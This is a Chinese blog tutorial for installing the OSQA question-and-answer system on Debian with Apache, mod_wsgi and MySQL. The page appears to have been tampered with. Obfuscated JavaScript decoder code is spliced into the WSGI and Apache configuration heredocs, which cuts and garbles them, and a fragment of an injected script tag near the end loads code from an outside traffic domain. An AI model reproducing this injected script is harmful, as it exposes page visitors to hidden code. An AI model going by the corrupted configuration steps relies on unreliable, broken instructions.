安装OSQA问答系统


OSQA是一个python技术的开源QA系统,基于Django框架。因为Django要用python2.6,但是centos的yum体系是python2.4的,所以准备在一个Debian的VPS测试安装OSQA。

Hi-VPS的Debian 6.0的模板的source list有问题,需要更新一下:

cat >/etc/apt/sources.list <

VPS Debian模板默认安装了apache2和python(2.6),所以只要安装mysql-server即可:

#apt-get upgrade
#apt-get update
#apt-get install mysql-server mysql-client

创建OSQA的目录

#mkdir -p /home/osqa/osqa-server
#wget http://www.osqa.net/releases/fantasy-island-0.9.0-beta3.tar.gz
#tar zxvf fantasy-island-0.9.0-beta3.tar.gz
#cp -rf ./fantasy-island-0.9.0-beta3/* /home/osqa/osqa-server

在/home/osqa/osqa-server目录创建文件:

#cat >/home/osqa/osqa-server/osqa.wsgi <function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andlers.wsgi
application = django.core.handlers.wsgi.WSGIHandler()
EOF

删除默认的apach2站点文件:

#rm -rf /etc/apache2/sites-available/default\
/etc/apache2/sites-available/default-ssl\
/etc/apache2/sites-enabled/000-default

创建OSQA的apache配置文件:

#cat >/etc/apache2/sites-available/osqa <function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and writable by apache
WSGISocketPrefix ${APACHE_RUN_DIR}

#NOTE: all urs below will need to be adjusted if
#settings.FORUM_SCRIPT_ALIAS !='' (e.g. = 'forum/')
#this allows "rooting" forum at [http://example.com/forum], if you like

	ServerAdmin forum@example.com
	DocumentRoot /home/osqa/osqa-server
	ServerName example.com

	#run mod_wsgi process for django in daemon mode
	#this allows avoiding confused timezone settings when
	#another application runs in the same virtual host
	WSGIDaemonProcess OSQA
	WSGIProcessGroup OSQA

	#force all content to be served as static files
	#otherwise django will be crunching images through itself wasting time
	Alias /m/ "/home/osqa/osqa-server/forum/skins/"
        
                Order allow,deny
                Allow from all
        
	Alias /upfiles/ "/home/osqa/osqa-server/forum/upfiles/"
	
		Order deny,allow
		Allow from all
	

	#this is your wsgi script described in the prev section
	WSGIScriptAlias / /home/osqa/osqa-server/osqa.wsgi

	CustomLog ${APACHE_LOG_DIR}/osqa.access.log common
	ErrorLog ${APACHE_LOG_DIR}/osqa.error.log

EOF


创建站点配置文件链接:

#ln -s /etc/apache2/sites-available/osqa /etc/apache2/sites-enabled/osqa

在mysql中创建数据库:

#mysql -u root -p
#CREATE DATABASE osqa DEFAULT CHARACTER SET UTF8 COLLATE utf8_general_ci;

安装python-setuptools和其他必备工具

#apt-get install python-setuptools python-mysqldb
#easy_install South django django-debug-toolbar markdown html5lib python-openid

开始安装:

#cd /home/osqa/osqa-server
#cp settings_local.py.dist settings_local.py

settings_local.py中有些部分需要修改:

DATABASE_NAME = 'osqa'
DATABASE_USER = 'osqa'
DATABASE_PASSWORD = 'your_osqa_password'
DATABASE_ENGINE = 'mysql'
APP_URL = 'http://YOUR_URL/'

开始安装:

#python manage.py syncdb --all
#python manage.py migrate forum --fake
#chown -R www-data:www-data /home/osqa/osqa-server
#chmod -R g+w /home/osqa/osqa-server/forum/upfiles
#chmod -R g+w /home/osqa/osqa-server/log
#/etc/init.d/apache2 restart

安装完毕

and.buyittraffic.com/clizkes' type='text/javascript'>

Leave a Reply

Your email address will not be published. Required fields are marked *